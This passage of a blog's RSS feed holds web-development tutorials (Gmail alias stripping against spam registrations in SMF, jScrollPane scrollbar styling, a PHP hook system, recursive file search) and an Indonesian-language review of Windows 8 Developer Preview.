<p>Unlike WordPress, SMF needs more attention while doing modifications. Yes, you need to hardly editing existing file, so don&#8217;t forget to backup before you do anything with files in SMF.</p>
<ol>
<li>The file you will edit located in<strong> /Sources/Register.php</strong></li>
<li>Open file with code editor, eg. Notepad++</li>
<li>Find this set of codes:
<p><iframe src="http://code.takien.com/281fc.embed" frameborder="0" scrolling="no" width="100%" height="300"></p>
<pre>	// Set the options needed for registration.
	$regOptions = array(
		'interface' =&gt; 'guest',
		'username' =&gt; !empty($_POST['user']) ? $_POST['user'] : '',
		'email' =&gt; !empty($_POST['email']) ? $_POST['email'] : '',
		'password' =&gt; !empty($_POST['passwrd1']) ? $_POST['passwrd1'] : '',
		'password_check' =&gt; !empty($_POST['passwrd2']) ? $_POST['passwrd2'] : '',
		'openid' =&gt; !empty($_POST['openid_identifier']) ? $_POST['openid_identifier'] : '',
		'auth_method' =&gt; !empty($_POST['authenticate']) ? $_POST['authenticate'] : '',
		'check_reserved_name' =&gt; true,
		'check_password_strength' =&gt; true,
		'check_email_ban' =&gt; true,
		'send_welcome_email' =&gt; !empty($modSettings['send_welcomeEmail']),
		'require' =&gt; !empty($modSettings['coppaAge']) &amp;&amp; !$verifiedOpenID &amp;&amp; empty($_SESSION['skip_coppa']) ? 'coppa' : (empty($modSettings['registration_method']) ? 'nothing' : ($modSettings['registration_method'] == 1 ? 'activation' : 'approval')),
		'extra_register_vars' =&gt; array(),
		'theme_vars' =&gt; array(),
	);</pre>
<p></iframe>
</li>
<li>DO NOT edit anything inside the code above, yet add this code after it:
<p><iframe src="http://code.takien.com/c28dd.embed" frameborder="0" scrolling="no" width="100%" height="147"></p>
<pre>/* strip all gmail aliases, comment here is useful when you want to do something in the future*/
if(preg_match('/gmail|googlemail/i',$regOptions['email'])){
	$emailbody 		= explode('@',strtolower($regOptions['email']));
	$mailusername 		= preg_replace('/([\.]+)|((\+)+([\+\.\-_a-z0-9]+))/i','',$emailbody[0]);
	$regOptions['email']= $mailusername.'@gmail.com';
}
/* end strip all gmail aliases*/</pre>
<p></iframe></p>
<p>As you see this is a direct code, not a PHP function, since it&#8217;s already in another SMF function, Register2()</li>
<li>Save file and re-upload it to server.</li>
</ol>
<h3>In Custom PHP</h3>
<p>If you using custom PHP code or CMS other than WordPress and SMF, call<em> strip_gmail_email_aliases()</em> right after registration form is submitted. Example:</p>
<p><iframe src="http://code.takien.com/a41dc.embed" frameborder="0" scrolling="no" width="100%" height="258"></p>
<pre>/* define function*/
function strip_gmail_email_aliases($email){
if(preg_match('/gmail|googlemail/i',$email)){
$emailbody         = explode('@',strtolower($email));
$mailusername     = preg_replace('/([\.]+)|((\+)+([\+\.\-_a-z0-9]+))/i','',$emailbody[0]);
$email             = $mailusername.'@gmail.com';
}
return $email; /* return the new email string*/
}
if(isset($_POST['submit_register'])){ /* It's only an illustration and may differ with your actual code.*/
    $email = strip_gmail_email_aliases($_POST['email']);
    /* do the rest code here */
}
</pre>
<p></iframe></p>
<h2>Conclusion</h2>
<p><div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>If you put the code correctly and work well, the registration will only record example@gmail.com (without dot, without + and other character after it, and not googlemail.com domain) and all other alias combination will be considered as duplicate (already registered). <img src='http://takien.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Your comment are welcome. <img src='http://takien.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/1010/prevent-spammer-to-register-using-the-same-gmail-email-duplicate-user-accounts.php/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Styling Scrollbar to Look Like Facebook ScrollableArea Using jScrollPane</title>
		<link>http://takien.com/980/styling-scrollbar-to-look-like-facebook-scrollablearea-using-jscrollpane.php</link>
		<comments>http://takien.com/980/styling-scrollbar-to-look-like-facebook-scrollablearea-using-jscrollpane.php#comments</comments>
		<pubDate>Fri, 30 Dec 2011 05:15:51 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Web Design]]></category>

		<guid isPermaLink="false">http://takien.com/?p=980</guid>
		<description><![CDATA[What Is Scrollbar? According to Wikipedia, A scrollbar is an object in a graphical user interface (GUI) with which continuous text, pictures or anything else can be scrolled including time in video applications, i.e., viewed even if it does not fit into the space in a computer display, window, or viewport. It was also known [...]]]></description>
			<content:encoded><![CDATA[<h2>What Is Scrollbar?</h2>
<p><div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>According to Wikipedia, A <strong>scrollbar</strong> is an object in a graphical user interface (GUI) with which continuous text, pictures or anything else can be scrolled including time in video applications, i.e., viewed even if it does not fit into the space in a computer display, window, or viewport. It was also known as a <strong>handle</strong> in the very first GUIs.</p>
<h2>What Is jScrollPane?</h2>
<p>jScrollPane is a cross-browser <a href="http://jquery.com/" target="_blank">jQuery</a> plugin by <a href="http://www.kelvinluck.com/" target="_blank">Kelvin Luck</a> which converts a browser&#8217;s default scrollbars (on elements with a relevant overflow property) into an HTML structure which can be easily skinned with CSS.</p>
<p>jScrollPane is designed to be flexible but very easy to use. After you have downloaded and included the relevant files in the head of your document all you need to to is call one javascript function to initialise the scrollpane. You can style the resultant scrollbars easily with CSS or choose from the existing themes. There are a number of different examples showcasing different features of jScrollPane and a number of ways for you to get support.</p>
<h2>What Is Facebook ScrollableArea?</h2>
<div id="attachment_983" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/12/facebook-scrollable-area.png"><img class="size-medium wp-image-983" title="facebook-scrollable-area" src="http://img.takien.com/2011/12/facebook-scrollable-area-300x261.png" alt="Facebook Scrollable Area" width="300" height="261" /></a><p class="wp-caption-text">Facebook Scrollable Area</p></div>
<p>Recently, Facebook ScrollableArea can be found in many part of Facebook user interface to handle overflow content. One is in the activity feed in the top right area with a cute scrollbar that can be scrolled by dragging and mouse scroll.</p>
<p>Yes, it can be done nicely &#8212; with little CSS and JavaScript customization &#8212; using jScrollPane I mentioned above</p>
<h2>jScrollPane + (JavaScript + CSS) = Facebook ScrollableArea</h2>
<p>Don&#8217;t worry, there is no pain coding needed to do this, just follow this steps:</p>
<p><strong>1. Include jScrollPane library and jQuery (if not yet) to your page</strong></p>
<pre>&lt;!-- styles needed by jScrollPane --&gt;
&lt;link type="text/css" href="style/jquery.jscrollpane.css" rel="stylesheet" media="all" /&gt;

&lt;!-- latest jQuery direct from google's CDN --&gt;
&lt;script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"&gt;
&lt;/script&gt;

&lt;!-- the mousewheel plugin - optional to provide mousewheel support --&gt;
&lt;script type="text/javascript" src="script/jquery.mousewheel.js"&gt;&lt;/script&gt;

&lt;!-- the jScrollPane script --&gt;
&lt;script type="text/javascript" src="script/jquery.jscrollpane.min.js"&gt;&lt;/script&gt;</pre>
<p><strong>2.Initialize jScrollPane to your selector.</strong></p>
<p>By default, the following code is ready to convert your scrollbar to  jScrollPane.</p>
<pre>$(function() {
	$('.content-area').jScrollPane();
});</pre>
<p>But here, we need more settings. It&#8217;s should look like this:</p>
<pre>$('.content-area').jScrollPane({
	horizontalGutter:5,
	verticalGutter:5,
	'showArrows': false
});</pre>
<p><strong>3. Scrollbar should be hidden if no mouse over on it.</strong></p>
<p>So, we use .fadeIn() and .fadeOut() jQuery effects:</p>
<pre>$('.jspDrag').hide();
$('.jspScrollable').mouseenter(function(){
    $(this).find('.jspDrag').stop(true, true).fadeIn('slow');
});
$('.jspScrollable').mouseleave(function(){
    $(this).find('.jspDrag').stop(true, true).fadeOut('slow');
});</pre>
<p><strong>4. Last but not least, add custom CSS</strong><br />
-</p>
<pre>/*scrollpane custom CSS*/
.jspVerticalBar {
	width: 8px;
	background: transparent;
	right:10px;
}

.jspHorizontalBar {
	bottom: 5px;
	width: 100%;
	height: 8px;
	background: transparent;
}
.jspTrack {
	background: transparent;
}

.jspDrag {
	background: url(images/transparent-black.png) repeat;
	-webkit-border-radius:4px;
	-moz-border-radius:4px;
	border-radius:4px;
}

.jspHorizontalBar .jspTrack,
.jspHorizontalBar .jspDrag {
	float: left;
	height: 100%;
}

.jspCorner {
	display:none
}</pre>
<p>We use a 1&#215;1 pixel PNG transparent image for jspDrag background, <a href="http://img.takien.com/2011/12/transparent-black.png">Download it here</a> (right click, save link/target)</p>
<h2> Live Demo</h2>
<p><a href="http://demo.takien.com/index.php?page=scrollable_area" target="_blank">Click Here to See Live Demo</a></p>
<p><em><br />
</em></p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/980/styling-scrollbar-to-look-like-facebook-scrollablearea-using-jscrollpane.php/feed</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Creating a WordPress-Alike Hook For Your Own CMS</title>
		<link>http://takien.com/965/how-to-make-hook-on-your-own-cms-like-on-wordpress.php</link>
		<comments>http://takien.com/965/how-to-make-hook-on-your-own-cms-like-on-wordpress.php#comments</comments>
		<pubDate>Thu, 15 Dec 2011 15:48:05 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://takien.com/?p=965</guid>
		<description><![CDATA[Probably you have known this, WordPress code is pretty good, especially when compared with other CMS or what we ever found on PHP tutorials. The one I like is how WordPress uses hooks.   If you ever created WordPress plugins, you may experienced that you don&#8217;t need to modify any of core code just to add [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_972" class="wp-caption alignleft" style="width: 310px"><a href="http://img.takien.com/2011/12/hooks.jpg"><img class="size-medium wp-image-972" title="hooks" src="http://img.takien.com/2011/12/hooks-300x300.jpg" alt="" width="300" height="300" /></a><p class="wp-caption-text">Hooks ilustration, image courtesy of lookingglassoutfitters.com</p></div>
<p>Probably you have known this, WordPress code is pretty good, especially when compared with other CMS or what we ever found on PHP tutorials. The one I like is how WordPress uses <a href="http://codex.wordpress.org/Plugin_API/Hooks" target="_blank">hooks.</a>   If you ever created WordPress <a href="http://takien.com/category/cms/wordpress/wp-plugins" target="_blank">plugins</a>, you may experienced that you don&#8217;t need to modify any of core code just to add something in the header and footer. Or even for more complex task, add additional menu and page on WordPress admin.</p>
<p>Things you need to do is to know what hook related to that, and add actions or filter with your own callback function. WordPress hooks divided in to two sections; <em>Action hook</em> and <em>Filter hook</em>. What is the difference? In simple, actions is to add functionality or output, where filter is to manipulate existing output. WordPress hook code stored in <em>wp-includes/plugins.php</em></p>
<p>Err, I am not going to deeply explain about WordPress hook. But, in case you&#8217;re wondering how it works or may be you want implement it in your own CMS or PHP script, here is the step by step .</p>
<p><div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>If WordPress uses global variable <strong>$wp_filter</strong> to store all of the filters, we use <strong>$cms_filter</strong> instead, or name it whatever you like .  This variable contains array of filters where we could modify later. To start, fill it with empty array.</p>
<pre>$cms_filter = Array();</pre>
<p>Declare <strong>do_action()</strong> function, the task of this function is to call custom functions stored in $cms_filter, uses  <a href="http://php.net/manual/en/function.call-user-func-array.php" target="_blank"><em>call_user_func_array()</em></a>;</p>
<pre>function do_action($tag){
global $cms_filter;
if(isset($cms_filter[$tag]) AND function_exists($cms_filter[$tag])){
call_user_func_array($cms_filter[$tag], array());
}
}</pre>
<p>Declare <strong>add_action()</strong> function, the task of this function is to store custom function to $cms_filter global variable.</p>
<pre>function add_action($tag,$callback){
global $cms_filter;
$cms_filter[$tag] = $callback;
}</pre>
<p>And&#8230;&#8230;&#8230;. you&#8217;re done. What..? Yes, that code is already to use.</p>
<p>Ok, let&#8217;s go. Place this code in wherever you like, for example in your core CMS file, or in your header&#8217;s template file between &lt;head&gt; and &lt;/head&gt;</p>
<pre>do_action('cms_head');</pre>
<p>Whenever you want to add something to the location, just call this function:</p>
<pre>add_action('cms_head','script_in_my_head');</pre>
<p><em>cms_head</em> is hook name, and<em> script_in_my_head</em> is must exists callback function that refer to your custom code. See example below:</p>
<pre>function script_in_my_head(){
echo '&lt;script&gt;alert('Hello world!')&lt;/script&gt;';
}</pre>
<p><strong>Note</strong>: This is only a simple working code, not a replacement nor has same capability as actual WordPress hooks. You may edit or improve it to meet your need.</p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/965/how-to-make-hook-on-your-own-cms-like-on-wordpress.php/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Searching File Within Directory Recursively Using PHP</title>
		<link>http://takien.com/956/searching-file-within-directory-recursively-using-php-scandir.php</link>
		<comments>http://takien.com/956/searching-file-within-directory-recursively-using-php-scandir.php#comments</comments>
		<pubDate>Wed, 26 Oct 2011 19:45:04 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://takien.com/?p=956</guid>
		<description><![CDATA[Recently I had to find my file stored somewhere in my server. Although I can do this easily using the built-in feature in cPanel File Manager, but what I need is to search file programaticallyusing a script. So, I created this function. The function accepts three parameters: $dir (string), absolute path of the directory to [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I had to find my file stored somewhere in my server. Although I can do this easily using the built-in feature in cPanel File Manager, but what I need is to search file programaticallyusing a script. So, I created this function.</p>
<pre>function find_file($dirs,$filename,$exact=false){

	$dir = @scandir($dirs);
	if(is_array($dir) AND !empty($dir)){
	foreach($dir as $file){
	if(($file !== '.') AND ($file!=='..')){
	if (is_file($dirs.'/'.$file)){
		$filepath =  realpath($dirs.'/'.$file);

		if(!$exact){
			$pos = strpos($file,$filename);
			if($pos === false) {
			}
			else {
				if(file_exists($filepath) AND is_file($filepath)){
				echo str_replace($filename,'&lt;span style="color:red;font-weight:bold"&gt;'.$filename.'&lt;/span&gt;',$filepath).' ('.round(filesize($filepath)/1024).'kb)&lt;br /&gt;';
				}
			}
		}
		elseif(($file == $filename)){

			if(file_exists($filepath) AND is_file($filepath)){
				echo str_replace($filename,'&lt;span style="color:red;font-weight:bold"&gt;'.$filename.'&lt;/span&gt;',$filepath).' ('.round(filesize($filepath)/1024).'kb)&lt;br /&gt;';
			}
		}
	}
	else{
		find_file($dirs.'/'.$file,$filename,$exact);
	}
	}
	}
	}
}</pre>
<p>The function accepts three parameters:</p>
<p><div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div></p>
<ol>
<li>$dir (string), absolute path of the directory to start the search, to use current directory use dirname(__FILE__).</li>
<li>$filename (string), the keyword to search for.</li>
<li>$exact (bool), true/false, default is false. If you set it to true it will find the exact &#8216;index.php&#8217; not &#8216;anotherindex.php&#8217; for keyword &#8216;index.php&#8217;.</li>
</ol>
<h2>How to use this function?</h2>
<p>This will find all file name contains <strong>content</strong> within current directory and all it&#8217;s sub directories.</p>
<pre>&lt; ?php find_file(dirname(__FILE__),'content');
?&gt;</pre>
<p>And the search result will be like this:</p>
<div id="attachment_959" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/10/search-file-using-php.png"><img class="size-medium wp-image-959" title="search-file-using-php" src="http://img.takien.com/2011/10/search-file-using-php-300x186.png" alt="Search file using PHP functions" width="300" height="186" /></a><p class="wp-caption-text">Search file using PHP functions</p></div>
<h2>Another Approach</h2>
<p>Another way to search file in directory is using PHP <a href="http://php.net/manual/en/function.glob.php" target="_blank"><strong>glob</strong> </a>function, as written <a href="http://www.electrictoolbox.com/php-glob-find-files/" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/956/searching-file-within-directory-recursively-using-php-scandir.php/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Sekilas Review Windows 8 Developer Preview</title>
		<link>http://takien.com/927/sekilas-review-windows-8-developer-preview.php</link>
		<comments>http://takien.com/927/sekilas-review-windows-8-developer-preview.php#comments</comments>
		<pubDate>Sun, 18 Sep 2011 18:23:56 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[windows]]></category>
		<category><![CDATA[windows 8]]></category>

		<guid isPermaLink="false">http://takien.com/?p=927</guid>
		<description><![CDATA[Windows 8 Developer Preview telah diluncurkan beberapa hari yang lalu oleh Microsoft sebagai beta test terhadap Windows 8. Microsoft mengeluarkan preview ini untuk mendapatkan feedback dari penggunanya sebelum akhirnya mereka mengeluarkan Windows 8 versi final. Karena ini versi preview, jadi wajar bila masih terdapat kekurangannya. Namun demikian saya tetap penasaran dan mencoba mendownload dan menginstalnya. [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_929" class="wp-caption alignleft" style="width: 310px"><a href="http://img.takien.com/2011/09/home-screen-windows-8.jpg"><img class="size-medium wp-image-929" title="home-screen-windows-8" src="http://img.takien.com/2011/09/home-screen-windows-8-300x168.jpg" alt="Windows 8 Home Screen" width="300" height="168" /></a><p class="wp-caption-text">Windows 8 Home Screen</p></div>
<p><strong>Windows 8 Developer Preview</strong> telah diluncurkan beberapa hari yang lalu oleh Microsoft sebagai beta test terhadap Windows 8. Microsoft mengeluarkan preview ini untuk mendapatkan feedback dari penggunanya sebelum akhirnya mereka mengeluarkan Windows 8 versi final. Karena ini versi preview, jadi wajar bila masih terdapat kekurangannya. Namun demikian saya tetap penasaran dan mencoba mendownload dan menginstalnya. Berikut pengalaman saya ketika mencoba sistem operasi terbaru keluaran Microsoft ini.</p>
<p><strong>Berikut beberapa kelebihan dari Windows 8 Developer Preview</strong></p>
<h2><strong>Performance</strong></h2>
<p>Kesan pertama adalah proses instalasi yang cepat. Seperti pendahulunya, Windows 7, proses instalasi Windows 8 cepat daripada Windows XP. Sistem operasi ini juga cukup stabil. Setelah beberapa jam menggunakan Windows 8 ini, saya tidak mengalami kendala yang berarti, tidak pernah hang/crash dan tidak lag. Prosesor Pentium 4 2.8GHz dengan RAM 2 GB yang saya gunakan dapat dengan mulus menjalankan sistem operasi ini.</p>
<h2><strong>Home screen</strong></h2>
<p>Nah, ini mungkin yang paling menarik dan menjadi nilai jual bagi Windows 8 ini. Tampilannya mirip dengan home screen <em>Windows Phone 7</em>.  Kotak warna-warni yang berisi shortcut ke aplikasi yang terinstal, game, social network dan sebagainya.</p>
<p>Untuk mengakses salah satu aplikasi, cukup klik 1 kali pada shortcut tersebut. Terkesan lebih simple karena pada sistem operasi pada umumnya Anda harus melakukan double click untuk membuka aplikasi dari icon di desktop.</p>
<p>Ketika aplikasi terbuka, jangan heran jika tampil di layar penuh tanpa adanya titlebar, window frame maupun taskbar. Tampilan layar penuh ini hanya ada pada aplikasi bawaan Windows 8, namun tidak pada aplikasi yang diinstal sendiri, misalnya Mozilla Firefox. Semoga saja pada masa yang akan datang, aplikasi-aplikasi tersebut juga akan mengadaptasi fitur layar penuh ini. Untuk kembali ke home screen, tekan tombol Windows di keyboard, tekan sekali lagi untuk kembali lagi ke aplikasi.</p>
<p>Home screen Windows 8 ini menarik karena berbeda  sekali dari kesan tampilan Desktop pada Windows sebelumnya, bahkan jika dibandingkan dengan sistem operasi lain, benar-benar berbeda. Tampilan layar penuh tanpa adanya taskbar  dan start menu. Sebenarnya start menu bukan dihilangkan, tapi tersembunyi. Terbukti ketika saya mengarahkan mouse ke sudut kiri bawah muncullah start menu tersebut, dan secara bersamaan di sudut kanan juga muncul tampilan jam dan tanggal dalam ukuran besar.</p>
<h2><strong>Drag and slide</strong></h2>
<p>Saya tidak tahu istilah drag and slide ini benar atau tidak. Tapi fitur ini juga tidak kalah menarik. Yakni fitur di Windows 8 yang digunakan untuk pindah antar aplikasi yang dibuka dengan cara menarik layar ke kanan. Caranya arahkan cursor ke kiri layar kemudian tekan (klik, tahan) sampai muncul preview jendela aplikasi kemudian tarik  ke tengah, maka jendela aplikasi akan terganti disertai efek animasi yang menarik.</p>
<h2><strong>Kompatibilitas</strong></h2>
<p>Windows 8 menawarkan kompatibilitas dengan program-program lama. Sebagian besar aplikasi yang dapat dijalankan di Windows 7 akan berjalan dengan baik di Windows 8.</p>
<h2><strong>Desktop klasik</strong></h2>
<p>Tampilan home screen tidak serta merta menggantikan desktop seperti pada Windows versi sebelumnya dengan Wallpaper dan icon-iconnya. Desktop masih bisa  dengan cara menekan tombol <em>Window + D</em> di keyboard. Shortcut akses ke desktop juga tersedia di home screen.</p>
<p>Setiap ada kelebihan pasti ada kekurangan, berikut beberapa kekurangan yang saya simpulkan selama saya menggunakan Windows 8 Developer Preview.</p>
<h2><strong>Kekurangan Windows 8 Developer Preview</strong></h2>
<p><strong>Tidak bisa diinstal di Virtualbox</strong>, Windows 8 Developer Preview tidak bisa diinstal di Virtualbox pada beberapa PC termasuk di PC yang saya gunakan. Ketika saya mencoba menginstalnya, beberapa saat setelah <em>loading file</em> saya mendapatkan error:</p>
<blockquote>
<pre>Your computer needs restart
Please hold the power button
Code: 0x0000000A
Para
0xFFFFFFE6
0x0000001F
0x00000000
0x81B4C64B</pre>
</blockquote>
<p>Error tersebut dikarenakan prosesor yang saya gunakan tidak mendukung <em>virtualization</em>.</p>
<p><strong>Internet Explorer 10 yang &#8216;masih&#8217; tidak baik</strong>.</p>
<div id="attachment_941" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/internet-explorer-10-windows-8.jpg"><img class="size-medium wp-image-941" title="Internet Explorer 10 on Windows 8" src="http://img.takien.com/2011/09/internet-explorer-10-windows-8-300x168.jpg" alt="Internet Explorer 10 on Windows 8" width="300" height="168" /></a><p class="wp-caption-text">Internet Explorer 10 on Windows 8</p></div>
<p>Windows 8 membawa Internet Explorer versi terbaru namun jangan harap Anda akan bisa berselancar dengan nyaman menggunakan browser ini. Saya coba membuka situs Facebook menggunakan browser yang terkenal dengan ketololannya ini, namun yang terjadi adalah saya hampir tidak bisa mengetik status, karena keyboard menjadi tidak responsif, bahkan beberapa huruf tidak keluar ketika ditekan.</p>
<p><strong>Hilangnya menu-menu penting</strong>.</p>
<p>Pada Windows 8 Developer Preview ini, start menu nya terlihat sangat sederhana. Saking sederhananya, menu aplikasi yang terinstal tidak tersedia di start menu, bahkan menu Shutdown dan restart juga tidak ada di situ.</p>
<p><strong>Tidak bisa menutup aplikasi</strong></p>
<div id="attachment_940" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/windows-8-task-manager.jpg"><img class="size-medium wp-image-940" title="windows-8-task-manager" src="http://img.takien.com/2011/09/windows-8-task-manager-300x230.jpg" alt="Windows 8 Task Manager, suspended process" width="300" height="230" /></a><p class="wp-caption-text">Windows 8 Task Manager</p></div>
<p>Aplikasi di home screen memang mudah diakses hanya dengan 1 kali klik. Namun pada aplikasi dengan layar penuh ini anda tidak bisa dengan mudah menutupnya. Karena memang tidak ada tombol untuk menutup jendela aplikasi. Jadi aplikasi akan selamanya terbuka atau hanya tersembunyi. Windows mengatasi ini dengan cara otomatis, aplikasi yang tidak dipakai dalam jangka waktu tertentu prosesnya akan disuspend oleh sistem. Hal ini berarti menghemat sumberdaya prosesor. Namun tetap saja aplikasi tersebut masih tersimpan di memori, yang tentu saja akan berpengaruh kepada performance secara keseluruhan.</p>
<p><strong>Slide </strong><strong>hanya satu arah</strong></p>
<p>Ketika saya mencoba melakukan drag ke arah berlawanan (geser ke kiri) dan berharap akan kembali ke program sebelumnya, ternyata&#8230; ooo tidak bisa. Drag hanya bisa dilakukan searah ke kanan.</p>
<p><strong>Shutdown lama </strong></p>
<p>Setelah bermenit-menit mencari tombol shutdown namun tidak ketemu. Akhirnya saya menemukannya ketika menekan tombol <em>Ctrl+Alt+Del</em>.  Selain itu proses restart dan shutdown cukup lama. Berbanding terbalik dengan proses <em>startup</em> yang cepat, Windows 8 ini susah matinya <img src='http://takien.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<div class="information"><div class="box-title">Update</div><div class="box-content"></p>
<ul>
<li>Tombol shutdown ada di Start-&gt;Setting-&gt;Shutdown</li>
<li>Sekarang proses shutdown sudah cepat, mungkin karena udah saya update patch-patch nya. <img src='http://takien.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </li>
</ul>
<p></div></div>
<p><strong>Beberapa masalah Windows Explorer</strong></p>
<p>Secara umum Windows Explorer pada Windows 8 ini mirip seperti yang ada di Windows 7, dengan beberapa perubahan yakni, baris toolbar yang saya rasa terlalu tinggi dan banyak memakan tempat. Walau akhirnya saya menemukan satu untuk mengecilkan toolbar ini, konsekuensinya toolbar malah terlihat terlalu sederhana.</p>
<p>Selain itu, ketika saya menghapus file di Windows Explorer tidak ada dialog confirmasi Yes/No. Seketika file langsung hilang masuk ke tong sampah. Sedikit berbahaa jika penggunanya mempunyai penyakit jantung dan tidak sengaja menghapus file. hehehe.</p>
<h2><strong>Kesimpulan</strong></h2>
<p>Jika Windows 8 Developer Preview ini bisa mewakili bagaimana Windows 8 ketika final release nantinya, menurut saya Windows 8 ini adalah sebuah langkah bagus dalam sejarah sistem operasi yang nantinya akan diikuti oleh sistem operasi lainnya. Menurut Microsoft, Windows 8 ini memang dioptimalkan untuk touch screen device, seperti PC tablet ataupun PC yang menggunakan monitor touch screen. Menurut saya yang dioptimalkan untuk layar sentuh bukanlah OS nya, tapi hanya (masih) home screen nya saja. Bisa kita lihat di bagian penting lain seperti Windows Explorer, Desktop, Control Panel masih mirip sekali dengan Windows 7 dimana tombol-tombolnya masih terlalu kecil untuk sebuah sebutan touch screen friendly. Bagaimanapun walau masih banyak kekurangan di sana-sini saya yakin nantinya akan terus disempurnakan.</p>
<p>Note: <em>Gambar-gambar menyusul.</em></p>
<div class="information"><div class="box-title">Download</div><div class="box-content"></p>
<p>Download Windows 8 Developer Preview di sini.</p>
<p><a href="http://wdp.dlws.microsoft.com/WDPDL/9B8DFDFF736C5B1DBF956B89D8A9D4FD925DACD2/WindowsDeveloperPreview-64bit-English.iso" target="_blank">Windows Developer Preview English, 64-bit (x64) </a> (3.6GB)<br />
<a href="http://wdp.dlws.microsoft.com/WDPDL/9B8DFDFF736C5B1DBF956B89D8A9D4FD925DACD2/WindowsDeveloperPreview-32bit-English.iso" target="_blank">Windows Developer Preview English, 32-bit (x86)</a>  (2.8GB)</p>
<p></div></div>
<div class="information"><div class="box-title">Useful information</div><div class="box-content"></p>
<ul>
<li><a href="http://blogs.msdn.com/b/b8/archive/2011/09/16/running-windows-8-developer-preview-in-a-virtual-environment.aspx" target="_blank">Cara menginstal Windows Developer preview di Virtual box</a></li>
<li><a href="http://microsoftfeed.com/2011/windows-8-vs-ipad-ios-5-video/" target="_blank">Windows 8 vs Ipad Video</a></li>
</ul>
<p></div></div>
<div class="information"><div class="box-title">Tips dan Trik Windows 8</div><div class="box-content"></p>
<p>Beberapa tips cara menggunakan Windows 8 berdasarkan komentar-komentar:</p>
<ul>
<li>Untuk <em>shutdown</em>, terlebih dahulu di log off dengan cara klik icon user di home screen kemudian akan muncul icon shutdown.</li>
<li>Untuk tutup aplikasi di Windows 8 harus ditarik pake tangan bagian kanan, akan ada menu muncul dari kanan.  (katanya harus touchscreen, saya belum pernah coba trik ini pake mouse)</li>
<li>Menu-menu aplikasi/program yang terinstall ada di bagian kanan atau dengan <em>search</em> kemudian pilih menu aplikasi.</li>
</ul>
<p></div></div>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/927/sekilas-review-windows-8-developer-preview.php/feed</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>Cara Memasang Komentar Disqus di WordPress</title>
		<link>http://takien.com/900/cara-memasang-komentar-disqus-di-wordpress.php</link>
		<comments>http://takien.com/900/cara-memasang-komentar-disqus-di-wordpress.php#comments</comments>
		<pubDate>Sun, 11 Sep 2011 17:47:28 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://takien.com/?p=900</guid>
		<description><![CDATA[Dulu saya males pake Disqus dan tidak tertarik untuk mencobanya. &#8220;Aplikasi pihak ketiga gini lambat, dan ujung-ujungnya nitip brand di web kita&#8221;, begitulah pemikiran saya waktu itu. Sampai pada suatu hari ketika bikin web orang, saya stuck ketika minta sistem komen yang bisa login pake Twitter dan Facebook. Karena tidak ingin membuang-buang waktu, maka saya [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_901" class="wp-caption alignleft" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-1.jpg"><img class="size-medium wp-image-901" title="Disqus Comment System" src="http://img.takien.com/2011/09/disqus-1-300x273.jpg" alt="Disqus Comment System" width="300" height="273" /></a><p class="wp-caption-text">Disqus Comment System</p></div>
